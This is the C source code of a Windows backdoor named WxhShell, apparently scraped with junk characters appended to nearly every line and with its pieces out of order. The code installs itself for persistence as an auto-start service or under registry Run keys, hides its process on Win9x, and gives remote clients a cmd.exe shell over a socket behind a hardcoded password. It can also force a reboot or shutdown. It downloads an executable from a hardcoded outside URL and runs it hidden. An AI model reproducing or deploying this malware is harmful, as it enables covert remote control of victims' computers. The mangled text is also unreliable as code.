    if(Boot(SHUTDOWN)) i6h0_q8 >  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6ozBU^n  
    else { w$I$xup  
    closesocket(wsh); ]7dal [i  
    ExitThread(0); \l;H !y[  
    } a<D]Gz^h  
    break; [;INVUwG^  
    } v[ y|E;B  
  // 获取shell E"H> [E  
  case 's': { !jJH}o/KW  
    CmdShell(wsh); fAR0GOI  
    closesocket(wsh); Y2p~chx9  
    ExitThread(0); 5th\_n}N2/  
    break; q/tC/V%@(  
  } 2ld0w=?+eu  
  // 退出 kObgoMT<[  
  case 'x': { b9Ix*!Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oU~e|  
    CloseIt(wsh); W&k2z,|  
    break; TH}+'m  
    } 2! bE|  
  // 离开 fm%-wUgj  
  case 'q': { flfE~_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QW%BKF!  
    closesocket(wsh); Riz!HtyR  
    WSACleanup(); POUD*(DqNK  
    exit(1); ^Ul *Nm  
    break; y {1p#  
        } nxYp9,c"  
  } 1(U\vMb  
  } (kI@U![u  
.7GAGMNS  
  // 提示信息 ?r6uEZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fL1EQ)  
} V$ss[fX  
  } s%qK<U4@;Q  
]+0I8eerd  
  return; ViT$]Nv  
} VlFDMw.4.+  
QI2T G,  
// shell模块句柄 Bx&wS|-)D  
int CmdShell(SOCKET sock) D3%`vq u&  
{ vo DTU]pf  
STARTUPINFO si; .!J,9PE  
ZeroMemory(&si,sizeof(si)); E :Y *;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n\y%5J+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  hG!"e4  
PROCESS_INFORMATION ProcessInfo; ;yH1vX  
char cmdline[]="cmd"; vN4g#,<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s*j0uAq)up  
  return 0;  ,  
} XmoS$ /#"  
mI~k@!3  
// 自身启动模式 lTv_%hUp  
int StartFromService(void) DV/P/1E  
{ G(~"Zt}?  
typedef struct (yel  
{ M e  
  DWORD ExitStatus; U8KEg)Msk  
  DWORD PebBaseAddress; pYs"Y;%  
  DWORD AffinityMask; L$+ap~ld  
  DWORD BasePriority; [0e}%!%M  
  ULONG UniqueProcessId; VXAgp6  
  ULONG InheritedFromUniqueProcessId; C[O \aW  
}   PROCESS_BASIC_INFORMATION; P1 `-OM  
='cr@[~i  
PROCNTQSIP NtQueryInformationProcess; +H L]t'UEg  
;0VE *  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .ZrQ{~t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^dR5fAS  
z_J"Qk  
  HANDLE             hProcess; d98ZC+q  
  PROCESS_BASIC_INFORMATION pbi; \/9uS.Kw  
DjjG?(1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AcYL3  
  if(NULL == hInst ) return 0; v(t?d  
hQfxz,X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b|*A%?m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |3MqAvPJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lLT;V2=osX  
m+Yj"RMx&  
  if (!NtQueryInformationProcess) return 0; =ITMAC\  
<zK9J?ZQW>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,9f$a n  
  if(!hProcess) return 0; h&vq}  
|f~p3KCfV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #9Z*.  
5xHl6T+  
  CloseHandle(hProcess); r=+r5k"`  
T(^<sjOs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &4yI]  
if(hProcess==NULL) return 0; $CVbc%  
)*iSN*T8q  
HMODULE hMod; P$\vD^  
char procName[255]; GIDC'  
unsigned long cbNeeded; <Ep-aRI  
'7{0k{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !R WX1Z  
yl%F}kBR  
  CloseHandle(hProcess); 56m|gZcC  
a-,BBM8|  
if(strstr(procName,"services")) return 1; // 以服务启动 @"H+QVJ@  
?K/z`E!xhN  
  return 0; // 注册表启动 W<3nF5!  
} 3L4lk8Dd  
#{l+I( M  
// 主模块 , c/\'k\K)  
int StartWxhshell(LPSTR lpCmdLine) vF;%#P  
{ ;ePmN|rq;  
  SOCKET wsl; 7@m  
BOOL val=TRUE; M>~jLu0@  
  int port=0; swnov[0  
  struct sockaddr_in door; h"')D  
R gEKs"e  
  if(wscfg.ws_autoins) Install(); c;ELAns>  
>b0e"eGt  
port=atoi(lpCmdLine); /9WR>NUAO  
*IGgbg[0  
if(port<=0) port=wscfg.ws_port; M#d_kDMw  
R/iw#.Yy  
  WSADATA data; !\8j[QS!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8+uwzBNZ:  
0QDm3V0n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M*E4:A9_M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZSMOq4Y 9  
  door.sin_family = AF_INET; %u43Pj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >"S'R9t  
  door.sin_port = htons(port); LeY\{w  
56AaviEC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ab' f:  
closesocket(wsl); ;/SM^&Y  
return 1; K,^{|5'3q  
} (6?pBdZ  
VzMoWD;  
  if(listen(wsl,2) == INVALID_SOCKET) { jpaY:fcF  
closesocket(wsl); 'UT 4x9&z  
return 1; !o&Mw:d  
} `yHV10  
  Wxhshell(wsl); rsvZi1N4w$  
  WSACleanup(); /z,sM"d  
z8mR< q%`  
return 0; q0w5ADd  
O.1Z3~r-N  
} abCcZ<=|b  
t4UKG&[a  
// 以NT服务方式启动 iR(A ^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {`~{%2ayq7  
{ ts%@1Y?  
DWORD   status = 0; ^gh/$my;  
  DWORD   specificError = 0xfffffff; 2[Q*?N  
wI}5[m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E'&UWD h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7##nY3",^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^`\c;!)F<  
  serviceStatus.dwWin32ExitCode     = 0; oWo"` "P  
  serviceStatus.dwServiceSpecificExitCode = 0; xue-5 '  
  serviceStatus.dwCheckPoint       = 0; lb&tAl"D  
  serviceStatus.dwWaitHint       = 0; ?U2ed)zzw  
l0u6nGkh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +vLuzM-  
  if (hServiceStatusHandle==0) return; 'sY>(D*CQ  
Uz\B^"i|  
status = GetLastError(); JHc|.2Oe  
  if (status!=NO_ERROR) @k,u xe-  
{ Z%XBuq:BY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Nd#t !=  
    serviceStatus.dwCheckPoint       = 0; us4.-L  
    serviceStatus.dwWaitHint       = 0; X c,UR .  
    serviceStatus.dwWin32ExitCode     = status; ^Q4w<sX'  
    serviceStatus.dwServiceSpecificExitCode = specificError; ||}|=Sz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Ky\ ^  
    return; }` Q'!_`  
  } d^Ra1@0"q2  
 #d*mG =  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KcfW+> W3  
  serviceStatus.dwCheckPoint       = 0; )~O{jd  
  serviceStatus.dwWaitHint       = 0; wQp,RpM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JXGIVH?Rpu  
} av gGz8  
V_~}7~ I  
// 处理NT服务事件,比如:启动、停止 '9*wr*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W2yNEiH  
{ %7O`]ik:  
switch(fdwControl) "(/|[7D)  
{ l?a(=  
case SERVICE_CONTROL_STOP: ,<|EoravH  
  serviceStatus.dwWin32ExitCode = 0; )dJM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Nt&}T  
  serviceStatus.dwCheckPoint   = 0; R/b)hP ~  
  serviceStatus.dwWaitHint     = 0; I4  Tc&b  
  { )wpBxJ;dB}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /+sn -$/"i  
  }  rc*3k  
  return; 5gGYG]*l  
case SERVICE_CONTROL_PAUSE: v.cB3/$ z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nb#E +\q  
  break; I\Y/*u  
case SERVICE_CONTROL_CONTINUE: sG0cN;I]t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9 o-T#~i  
  break; 1F/`*z  
case SERVICE_CONTROL_INTERROGATE: gUL`)t\}*  
  break; ^gH.5L0]gH  
}; phl5E:fIKx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }^?dK3~q  
} 2j4VW0:  
X||o iqbY  
// 标准应用程序主函数 v=i[s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .+ai dWd  
{ 8 8pz<$  
/Rx%}~x/m  
// 获取操作系统版本 cpFw]w%]  
OsIsNt=GetOsVer(); kdQ=%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E^1uZI\z  
RX=C)q2c  
  // 从命令行安装 !F;W#Gc  
  if(strpbrk(lpCmdLine,"iI")) Install(); }N2T/U  
nrwb6wj  
  // 下载执行文件 X  LA  
if(wscfg.ws_downexe) { W5_t/_EWD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6peO9]Zy  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nh]eZ3O  
} a%;$l_wVT:  
u~1[nH:  
if(!OsIsNt) { g}$]K! F  
// 如果时win9x,隐藏进程并且设置为注册表启动 WsJ3zZc  
HideProc(); bW3e*O$V  
StartWxhshell(lpCmdLine); q' 3=  
} *FK!^Y  
else Z?XE~6aP>  
  if(StartFromService()) iIcO_ZyA  
  // 以服务方式启动 "] kaaF$U%  
  StartServiceCtrlDispatcher(DispatchTable); V`S6cmwdc\  
else GZXUB0W\@)  
  // 普通方式启动 l K}('7\  
  StartWxhshell(lpCmdLine); 1-r1hZ-  
]8d]nftY  
return 0; qK.8^{b  
} jf*M}Q1jHE  
 7I^(v Q  
G5"UhnOD'  
%OfaBv&  
=========================================== w;}P<K  
ztgSd8GGE  
yFl@ z  
]#j]yGV  
Rw^4S@~T  
V_Wv(G0-\  
" -AD3Pd|Y[  
;8|uY%ab  
#include <stdio.h> =6ZZ/+6b  
#include <string.h> B6MMn.  
#include <windows.h> k U*\Fa*E  
#include <winsock2.h> d=xU f`^  
#include <winsvc.h> O6Xu/X]  
#include <urlmon.h> 4}W*,&_  
#&1mc_`/  
#pragma comment (lib, "Ws2_32.lib") 4@/[aFH  
#pragma comment (lib, "urlmon.lib") h[ba$S,T  
z1T.\mzfX  
#define MAX_USER   100 // 最大客户端连接数 $w)yQ %  
#define BUF_SOCK   200 // sock buffer nI|jUD +y  
#define KEY_BUFF   255 // 输入 buffer ]hS4'9lD  
?bmP<(N5/  
#define REBOOT     0   // 重启 T.`EDluG  
#define SHUTDOWN   1   // 关机 .N5}JUj  
5``/exG>  
#define DEF_PORT   5000 // 监听端口 ,Tvk&<!0  
Dx4?6  
#define REG_LEN     16   // 注册表键长度 *-3K],^a  
#define SVC_LEN     80   // NT服务名长度 }/SbmW8(1  
a7%5Qg9B;  
// 从dll定义API nP0|nPWz#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v'`C16&^]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A%k@75V@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l<(MC R*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3RXq/E  
8}XtVF;  
// wxhshell配置信息 g9<*+fV 2$  
struct WSCFG { U $# ?Lw  
  int ws_port;         // 监听端口 TlQ#0_as[  
  char ws_passstr[REG_LEN]; // 口令 +Z/ *=;  
  int ws_autoins;       // 安装标记, 1=yes 0=no Cc$!TZq=  
  char ws_regname[REG_LEN]; // 注册表键名 {tOu+zy  
  char ws_svcname[REG_LEN]; // 服务名 sn@gchO9s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r[q-O&2&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QPg QM6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O:{I9V-=>s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k_ UY^vz.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ra%RcUf~sh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SBzJQt@Hs  
W[AX?  
}; 8jMw7ti  
%qV=PC  
// default Wxhshell configuration O B_g:T  
struct WSCFG wscfg={DEF_PORT, Xg^`fRg =T  
    "xuhuanlingzhe", UP58Cln*  
    1, X#Y0g`muW  
    "Wxhshell", 8uP,#D<wZ  
    "Wxhshell", GXr9J rs.e  
            "WxhShell Service", K#%L6=t$<  
    "Wrsky Windows CmdShell Service", :p;!\4)u  
    "Please Input Your Password: ", Ew*_@hVC  
  1, <ZSH1~<{6  
  "http://www.wrsky.com/wxhshell.exe", "4<RMYQ  
  "Wxhshell.exe" Qo4]_,kR  
    }; kl?U 2A.=  
re2M!m6k5  
// 消息定义模块 4`I2tr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FDbb/6ku  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |cEJRs@B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :rk=(=@8`  
char *msg_ws_ext="\n\rExit."; fIN F;TK  
char *msg_ws_end="\n\rQuit."; qg7.E+  
char *msg_ws_boot="\n\rReboot..."; ZNuz%VO  
char *msg_ws_poff="\n\rShutdown..."; f7Y0L8D  
char *msg_ws_down="\n\rSave to "; 9y{[@KG  
=3]}87  
char *msg_ws_err="\n\rErr!"; F=7X,hK  
char *msg_ws_ok="\n\rOK!"; !trt]?*-  
EcxPbRg  
char ExeFile[MAX_PATH]; aHNR0L3$}{  
int nUser = 0; GbUw:I  
HANDLE handles[MAX_USER]; 5Ev9u),D+v  
int OsIsNt; ]JVs/  
4/;hA z  
SERVICE_STATUS       serviceStatus; jVC`38|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /BjM&v(5/  
12`q9Io"  
// 函数声明 'W(+rTFf!  
int Install(void); %PRG;kR  
int Uninstall(void); AyKvh  
int DownloadFile(char *sURL, SOCKET wsh); 0"ksNnxK  
int Boot(int flag); ;R|i@[(J  
void HideProc(void); J3fk3d`2  
int GetOsVer(void); 9UsA>m.  
int Wxhshell(SOCKET wsl); )_k"_VVcC  
void TalkWithClient(void *cs); IppzQ0'=y1  
int CmdShell(SOCKET sock); X; I:i%-  
int StartFromService(void); /2N'SOX  
int StartWxhshell(LPSTR lpCmdLine); G0oY`WXOB  
~b}a|K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0{^@kxV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |5oK04<  
GqMa|8j  
// 数据结构和表定义 c7UmR?m  
SERVICE_TABLE_ENTRY DispatchTable[] = V T8PV5z  
{ ?oana%  
{wscfg.ws_svcname, NTServiceMain}, gqV66xmJ3  
{NULL, NULL} *oopdGue  
}; ZUePHI-dP  
UF0W%Z  
// 自我安装 ,n<t':-  
int Install(void) ZKy)F-yX  
{ s~ ||Vv!  
  char svExeFile[MAX_PATH]; nr7#}pzo  
  HKEY key; me:~q#k  
  strcpy(svExeFile,ExeFile); Q&+Jeji  
F*m^AFjs  
// 如果是win9x系统,修改注册表设为自启动 a~ q_2S]h  
if(!OsIsNt) { nGQc;p5;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8,B?!%FP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O<7Q>m  
  RegCloseKey(key); t"x 8]Gy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p4mi\~Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4wYD-MB  
  RegCloseKey(key); <Hd8Jd4f  
  return 0; vUm#^/#I  
    } 'D`O4TsP>  
  } 'NJGez'b ,  
} j5Kw0Wy7  
else { ZByxC*Cz  
Geyy!sr``  
// 如果是NT以上系统,安装为系统服务 KYE)#<V}@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j/.$ (E   
if (schSCManager!=0) \ #<.&`8B  
{ EQe!&;   
  SC_HANDLE schService = CreateService "NEg]LB5  
  ( 8T6LD  
  schSCManager, ^*s DJ #  
  wscfg.ws_svcname, g)0>J  
  wscfg.ws_svcdisp, ~o{GQ>  
  SERVICE_ALL_ACCESS, F.{{gpI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , < z':_,  
  SERVICE_AUTO_START, kY>jp@w V  
  SERVICE_ERROR_NORMAL, mzw`{Oy>L  
  svExeFile, ot\  FZ  
  NULL, ;f;A"  
  NULL, F1_s%&  
  NULL, w O H{L  
  NULL, (V&5EO8)  
  NULL o>|&k]W/  
  ); g)?Ol  
  if (schService!=0) ba5,?FVI~  
  { o\/&05rp]  
  CloseServiceHandle(schService);  NOY`1i  
  CloseServiceHandle(schSCManager); k=]#)A(#C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -M]B;[^  
  strcat(svExeFile,wscfg.ws_svcname); MB7UI8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~6{iQZa1Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fl0(n #L  
  RegCloseKey(key); ?'_Ty`vT  
  return 0; Cws;6i*=@  
    } s!k7Wwj  
  } G5WQTMzf&  
  CloseServiceHandle(schSCManager); d]A.=NAc  
} PP*6nW8  
} x[?N[>uw  
;R5@]Hg6q  
return 1; bG0 |+k3O  
} 87!D@Xn  
;X_bDiG$  
// 自我卸载  yqH  
int Uninstall(void) .lsD+}  
{ m}UcF oaO  
  HKEY key; T`?7z+2A  
6jw9p+.  
if(!OsIsNt) { Xr:gm`[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6ZO6 O=KD  
  RegDeleteValue(key,wscfg.ws_regname); #ovausK[7  
  RegCloseKey(key); n?KhBJx 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q ~%'V  
  RegDeleteValue(key,wscfg.ws_regname); [}Q_T.4)E  
  RegCloseKey(key); p9>{X\eT:  
  return 0; ^fiJxU  
  } GLO%>&  
} }VU^ 8D  
} C/$bgK[ev  
else { s5bqS'%  
3_bE12  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O]4v\~@-j  
if (schSCManager!=0) X<%`  
{ K}t=Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); agV z  
  if (schService!=0) 1Clid\T,o  
  { uTShz3  
  if(DeleteService(schService)!=0) { Z";&1cK  
  CloseServiceHandle(schService); ` 0$i^,}  
  CloseServiceHandle(schSCManager); zqHG2:MN"  
  return 0; OV G|WC  
  } ^4b;rLfk@  
  CloseServiceHandle(schService); Iuyq!R4:7  
  } ZUyS+60  
  CloseServiceHandle(schSCManager); z*a-=w0  
} z @g%9 |U  
} f+ cN'jH E  
3"BSP3/ [l  
return 1; ~'V&[]nh8  
} 0OXl`V`w  
A"e4w?  
// 从指定url下载文件 +>&i]x(b  
int DownloadFile(char *sURL, SOCKET wsh) YdZ9##IU3  
{ #<LJns\t   
  HRESULT hr; z''ejq  
char seps[]= "/"; 85x34nT  
char *token; o%b6"_~%3  
char *file; bm*.*A]  
char myURL[MAX_PATH]; ;J@U){R  
char myFILE[MAX_PATH]; XS}-@5TI  
216`rQ}z  
strcpy(myURL,sURL); 2Z-[x9t  
  token=strtok(myURL,seps); 2tb+3K1  
  while(token!=NULL) {RGQX"k  
  { 7lx" X0w*m  
    file=token; E<ILZpP  
  token=strtok(NULL,seps); r6eZ-V`4  
  } _1?nLx7n  
w%?Zb[!&  
GetCurrentDirectory(MAX_PATH,myFILE); 5tI#UBha  
strcat(myFILE, "\\"); zv7)JH7EV&  
strcat(myFILE, file); \0W0o5c$  
  send(wsh,myFILE,strlen(myFILE),0); GlHP`&;UH  
send(wsh,"...",3,0); mm9uhlV8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =F2`X#x_j  
  if(hr==S_OK) {?;qy\m]o  
return 0; -Qn l)JB  
else +7Uv|LZ~@  
return 1;  0ij YE  
%aI,K0\  
} i zYC0T9  
ken.#>w  
// 系统电源模块 SiYH@Wma  
int Boot(int flag) P L7(0b%  
{ QuP)j1"X  
  HANDLE hToken; Z2L7US -  
  TOKEN_PRIVILEGES tkp; MQQQaD:v  
NEUr w/  
  if(OsIsNt) { e^<'H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gyQPQ;"H$2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !4a#);`G  
    tkp.PrivilegeCount = 1; S"VO@)d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G|*&owJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 67;6nXG0K  
if(flag==REBOOT) { l^XOW- ;u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) No8-Hm  
  return 0; d A'0'M  
} Bq;GO  
else { d[{!^,%x"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f|=u{6  
  return 0; ymp ik.'  
} .l hS  
  } aNn4j_V(  
  else { UGlHe7  
if(flag==REBOOT) { 76o3Sge:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7|o!v);uR  
  return 0; )QW hzY  
} a)4%sX*I  
else { .EPv4[2%F8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qqi?DW1)-  
  return 0; qw*) R#=  
} ?yxQs=&-q~  
} )@p?4XsT4J  
SA#01}&p  
return 1; obGhO  
} k dWUz(  
k+%&dEE|vH  
// win9x进程隐藏模块 ?(U a+*b  
void HideProc(void) 73 4t  
{ RH:vd|q+  
<@# g2b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y]=k"]:%  
  if ( hKernel != NULL ) "hQGk  
  { cRMyYdJ o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); : h(Z\D_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gkX7,J-0  
    FreeLibrary(hKernel); 0VrsbkS  
  } {n&n^`Em  
{/(.Bpld  
return; (t\U5-w  
} IRdR3X56  
$hHV Ie]+  
// 获取操作系统版本 *Ojl@N  
int GetOsVer(void) L+VQtp &"  
{ Q)y5'u qZ  
  OSVERSIONINFO winfo; mo3A*|U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "G-h8IN^O  
  GetVersionEx(&winfo); kxN O9w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ozhn`9L+1!  
  return 1; 98)C 7N'  
  else xmEom  
  return 0; Y+o\?|q-E  
} $M j\ 3  
$.t>* Bq  
// 客户端句柄模块 mBJr*_p  
int Wxhshell(SOCKET wsl) R8:5N3Fx  
{ jV9oTH-  
  SOCKET wsh; dC8}Ttc}  
  struct sockaddr_in client; *`|xa@1v`  
  DWORD myID; 3u/AqL  
 \m~p;B  
  while(nUser<MAX_USER) *sZH3:  
{ 6-uLK'E  
  int nSize=sizeof(client); -%]1q#C>@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gwsIzYV  
  if(wsh==INVALID_SOCKET) return 1; PqL. ^  
jVLJ qWP'!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xz)qtDN|(  
if(handles[nUser]==0) j#2E Q  
  closesocket(wsh); u]7wd3(  
else a??8)=0|}  
  nUser++; !V(r p80  
  } s*_fRf:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1og+(m`BL  
wPm  
  return 0; |`Noj+T47I  
} (hdu+^Qj=  
t$~'$kM)<  
// 关闭 socket /:Gy .  
void CloseIt(SOCKET wsh) 'e' p`*  
{ 7i{(,:  
closesocket(wsh); 8!cHRtqK  
nUser--; '<YBoU{ e*  
ExitThread(0); 79c M _O  
} Ncsh{.  
{l5fKVb\C  
// 客户端请求句柄 <xF]ca  
void TalkWithClient(void *cs) },#7  
{ Y)]C.V,~  
rX /'  
  SOCKET wsh=(SOCKET)cs; +&S6se4  
  char pwd[SVC_LEN]; n}[S  
  char cmd[KEY_BUFF]; ;1PJS_@rX  
char chr[1]; j)Ak:l%a  
int i,j; JKfJ%yy |  
!H)-  
  while (nUser < MAX_USER) { >$9}"  
ZZZ9C#hK^9  
if(wscfg.ws_passstr) { D*[J rq,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [`qdpzUp&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r8eJ&-Yi{Z  
  //ZeroMemory(pwd,KEY_BUFF); j*gJP !  
      i=0; dr}PjwW%  
  while(i<SVC_LEN) { PZJ9f8 V  
IQ_s]b;z  
  // 设置超时 c AO:fb7  
  fd_set FdRead; $-Ex g*i  
  struct timeval TimeOut; _K!.TM+9  
  FD_ZERO(&FdRead); |idw?qCn  
  FD_SET(wsh,&FdRead); 2nC,1%kxhq  
  TimeOut.tv_sec=8; rIJPgF  
  TimeOut.tv_usec=0; fglfnx0{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A]5];c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YS){ N=g&'  
^iJyo&I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1=z[U|&R  
  pwd=chr[0]; ,!@MLn  
  if(chr[0]==0xd || chr[0]==0xa) { &Q;sbI}  
  pwd=0; $C5*@`GM$  
  break; 0"% dPKi  
  } 72"H#dy%U  
  i++; ;h+~xxu=X  
    } [RN]?,  
5|*`} ;/y  
  // 如果是非法用户,关闭 socket N'9T*&o+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z8awND  
} ;*<R~HJt  
uO eal^uS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p> >H$t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tkcs6uy  
-qDqJ62mC  
while(1) { znTi_S  
1<73uR&b%  
  ZeroMemory(cmd,KEY_BUFF); 2;WbXc!#!  
8$A0q%n  
      // 自动支持客户端 telnet标准   ls:oC},p*  
  j=0;  [. 9[?8  
  while(j<KEY_BUFF) { 1J/'R37lP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $8UW^#Bpq  
  cmd[j]=chr[0]; kt)Et  
  if(chr[0]==0xa || chr[0]==0xd) { +sjzT[ Dn  
  cmd[j]=0; l;@+=uVDHm  
  break; 6{ ]F#ig=  
  } 0>7Ij7\[8  
  j++; ;J,(YNI 1  
    } [UZ r|F  
rf%lhBv  
  // 下载文件 Rh|9F yN  
  if(strstr(cmd,"http://")) { C'|9nK$%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c_*w<vJ-'  
  if(DownloadFile(cmd,wsh)) -'d:~:1f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yiC7)=  
  else s. A}ydtt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y< *-&  
  } mLZ1u\ 7W  
  else { ^gvTc+|  
zU ~ Ff"<  
